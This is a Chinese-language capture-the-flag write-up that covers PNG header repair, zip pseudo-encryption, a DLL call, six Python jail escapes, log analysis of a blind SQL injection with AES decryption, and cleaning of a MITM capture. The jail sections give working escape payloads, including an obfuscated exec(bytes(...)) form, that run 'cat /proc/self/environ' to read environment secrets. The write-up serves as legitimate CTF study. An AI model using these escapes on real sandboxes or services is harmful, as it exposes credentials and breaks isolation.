Misc
Strange_png
拿到一张奇怪的PNG图片,默认无法预览,大小有819KB,打开010Editor看看
标头数据查询各种文件类型及文件头标识大全(十六进制) – 知乎

存在一个PNG标头 但是不完整

尾部找到了一个压缩包文件,发现是强加密,可能涉及到爆破,在这里初步猜测可能是图片里面存在压缩包密码。先把zip文件提取出来。


之后对剩余的残存图片进行补齐头部的操作
with open("misc.png", "rb") as f:
data = f.read()
# PNG signature
fixed = b"\x89PNG" + data # 前面补上 89 50 4E 47
with open("recover.png", "wb") as f:
f.write(fixed)

得到目标png图片,但是直接肉眼观察并不能观察到明显的压缩密码。直接选择使用zsteg爆破出信息
zsteg recover.png

其中第一条非常特别,尝试换行标记符之前的内容
30HDdsaHsjfisdf123321

flag被编码过,使用cybercheif解码,得到flag

CCB
压缩包的各区域如下:
1.压缩源文件数据区:
50 4B 03 04:这是头文件标记 (0x04034b50)
14 00:解压文件所需 pkware 版本
00 00:全局方式位标记(判断有无加密)
08 00:压缩方式
5A 7E:最后修改文件时间
F7 46:最后修改文件日期
2.压缩源文件目录区:
50 4B 01 02:目录中文件文件头标记 (0x02014b50)
1F 00:压缩使用的 pkware 版本
14 00:解压文件所需 pkware 版本
00 00:全局方式位标记(判断是否为伪加密)
08 00:压缩方式
5A 7E:最后修改文件时间
F7 46:最后修改文件日期
3.压缩源文件目录结束标志:
50 4B 05 06:目录结束标记
00 00:当前磁盘编号
00 00:目录区开始磁盘编号
01 00:本磁盘上纪录总数
01 00:目录区中纪录总数
59 00 00 00:目录区尺寸大小
3E 00 00 00:目录区对第一张磁盘的偏移量
00 00:ZIP 文件注释长度
无加密时,目录区数据区全局方式位标记都为 00 00
伪加密时,目录区标记为09 00,数据区标注为 00 00
真加密时,目录区数据区均标注为 09 00

数据区无加密

但是目录区存在伪加密,只需要把01改为00即可
解压缩 发现一个dll以及一个txt

一眼base64,解码


缺少方言,大概率是要在dll里面获取,那么调用dll
import ctypes
dll = ctypes.WinDLL(r"C:\Users\15589\Desktop\CCB\CCB.dll")
# 设置返回值类型为 64 位整数
dll.CCB.restype = ctypes.c_int64
# 如果确认没有参数,可以直接调用
result = dll.CCB()
print("函数返回值:", result)

b31915cd51e064bbaf8d6b2790ba108df10c84358f37033cb83609e78e9a3bfb

PYJAIL*6
PYJAIL1
无限制,直接构造payload
import os
os.system("cat /proc/self/environ")

PYJAIL2

分析源码,提交的内容会被直接eval
构造payload
__import__('os').popen('cat /proc/self/environ').read()

PYJAIL3

存在长度限制,一次传入的数据不得大于13
breakpoint()可用,构造payload
breakpoint()
__import__('os').popen('cat /proc/self/environ').read()

PYJAIL4
长度没限制好,方法同上

PYJAIL5

观察,过滤了很多方法以及字符(语法层面上)
没有禁用eval exec,那么试着试图使用bytes()替换绕过
exec(bytes([95, 95, 105, 109, 112, 111, 114, 116, 95, 95, 40, 34, 111, 115, 34, 41, 46, 115, 121, 115, 116, 101, 109, 40, 34, 99, 97, 116, 32, 47, 112, 114, 111, 99, 47, 115, 101, 108, 102, 47, 101, 110, 118, 105, 114, 111, 110, 34, 41]))

PYJAIL6

禁止一切ASCII字符传入
那么只需要调用全角字符绕过即可(注意,在linux环境下进行,否则由于Windows灵车的编码问题会报错)
exec(bytes([95, 95, 105, 109, 112, 111, 114, 116, 95, 95, 40, 34, 111, 115, 34, 41, 46, 115, 121, 115, 116, 101, 109, 40, 34, 99, 97, 116, 32, 47, 112, 114, 111, 99, 47, 115, 101, 108, 102, 47, 101, 110, 118, 105, 114, 111, 110, 34, 41]))

EZSocialEngineering

这一眼就是在讲DDOS原理 根据右上角UP的名字查找即可

BV1KQ4y117nq
ezsqli

发现疑似盲注的日志 锁定IP 清洗日志
grep "172.16.178.33" your_log_file.log > cleaned_log.txt


响应大小1280为注入成功,再次过滤
grep "1280" cleaned_log.txt > cleaned_log1.txt

这里的flag是AES加密过的,把文件里面的ASCII拼接运算即可得到flag
-
当前数据库名 (
DATABASE() ) :- 提取内容:
102 105 110 97 110 99 101 95 100 98 - 还原结果:
finance_db ^^
- 提取内容:
-
表名 (
information_schema.tables ) :- 提取内容:
user_accounts,transaction_logs,admin_users,sys_conf^^
- 提取内容:
-
表
admin_users 中的密码 (password ) :- 注意: 这是一个加密的十六进制字符串(Ciphertext)。
- 提取内容 (Hex):
5a15c26228ae3af44797eaa4426d8fd498f79ecb2059b592903422eaafc355ab4c105a9e7ab6b5a43195266887779269^^
-
表
sys_conf 中的密钥信息:- 攻击者随后查询了
sys_conf表,获取了 AES 的配置信息。 - AES IV (
aes_iv ) :61945a9ac62102c6^^ - AES Key (
aes_key ) :b1c91fe0fc5af04615230c9196b087ff^^
- 攻击者随后查询了
从提取的信息来看,管理员密码是加密存储的,而解密所需的 Key 和 IV 就在 sys_conf 表中。
- 密文 (Ciphertext) :
5a15c26228ae3af44797eaa4426d8fd498f79ecb2059b592903422eaafc355ab4c105a9e7ab6b5a43195266887779269 - 密钥 (Key) :
b1c91fe0fc5af04615230c9196b087ff (32 字节 -> AES-256) - 偏移量 (IV) :
61945a9ac62102c6(16 字节) - 模式: AES CBC (通常带有 IV 的都是 CBC 模式)
from Crypto.Cipher import AES
import binascii
# 从日志中提取的参数
key = b'b1c91fe0fc5af04615230c9196b087ff' # 32字节
iv = b'61945a9ac62102c6' # 16字节
ciphertext_hex = '5a15c26228ae3af44797eaa4426d8fd498f79ecb2059b592903422eaafc355ab4c105a9e7ab6b5a43195266887779269'
# 转换为二进制
ciphertext = binascii.unhexlify(ciphertext_hex)
# 解密
cipher = AES.new(key, AES.MODE_CBC, iv)
decrypted = cipher.decrypt(ciphertext)
# 去除填充并打印
print("Flag:", decrypted.decode('utf-8', errors='ignore'))

Realworld-HackVcenter

杂揉了大量证书信息 先清洗
import re
def remove_certificates(input_file, output_file):
print(f"[*] 正在读取文件: {input_file}")
try:
# 使用二进制模式打开 ('rb'),因为这类流量文件通常包含不可打印字符
with open(input_file, 'rb') as f:
content = f.read()
# 定义正则表达式
# b'...' 表示字节串
# .*? 表示非贪婪匹配中间的所有内容
# flags=re.DOTALL 非常重要,它让 '.' 也能匹配换行符,从而匹配多行证书
pattern = re.compile(rb'-----BEGIN CERTIFICATE-----.*?-----END CERTIFICATE-----', flags=re.DOTALL)
# 将匹配到的内容替换为空 (b'')
cleaned_content, count = re.subn(pattern, b'', content)
# 写入新文件
with open(output_file, 'wb') as f:
f.write(cleaned_content)
print(f"[+] 处理完成!")
print(f"[+] 共删除了 {count} 个证书区块")
print(f"[+] 结果已保存为: {output_file}")
except FileNotFoundError:
print(f"[-] 错误: 找不到文件 {input_file}")
except Exception as e:
print(f"[-] 发生错误: {e}")
# 配置文件名
# 根据你之前的题目,文件名应该是这个,如果不是请修改
input_filename = '443.this.is.mitm.file'
output_filename = 'cleaned_mitm.file'
if __name__ == '__main__':
remove_certificates(input_filename, output_filename)

找到一段神秘的unicode


丢给ai转译得到了flag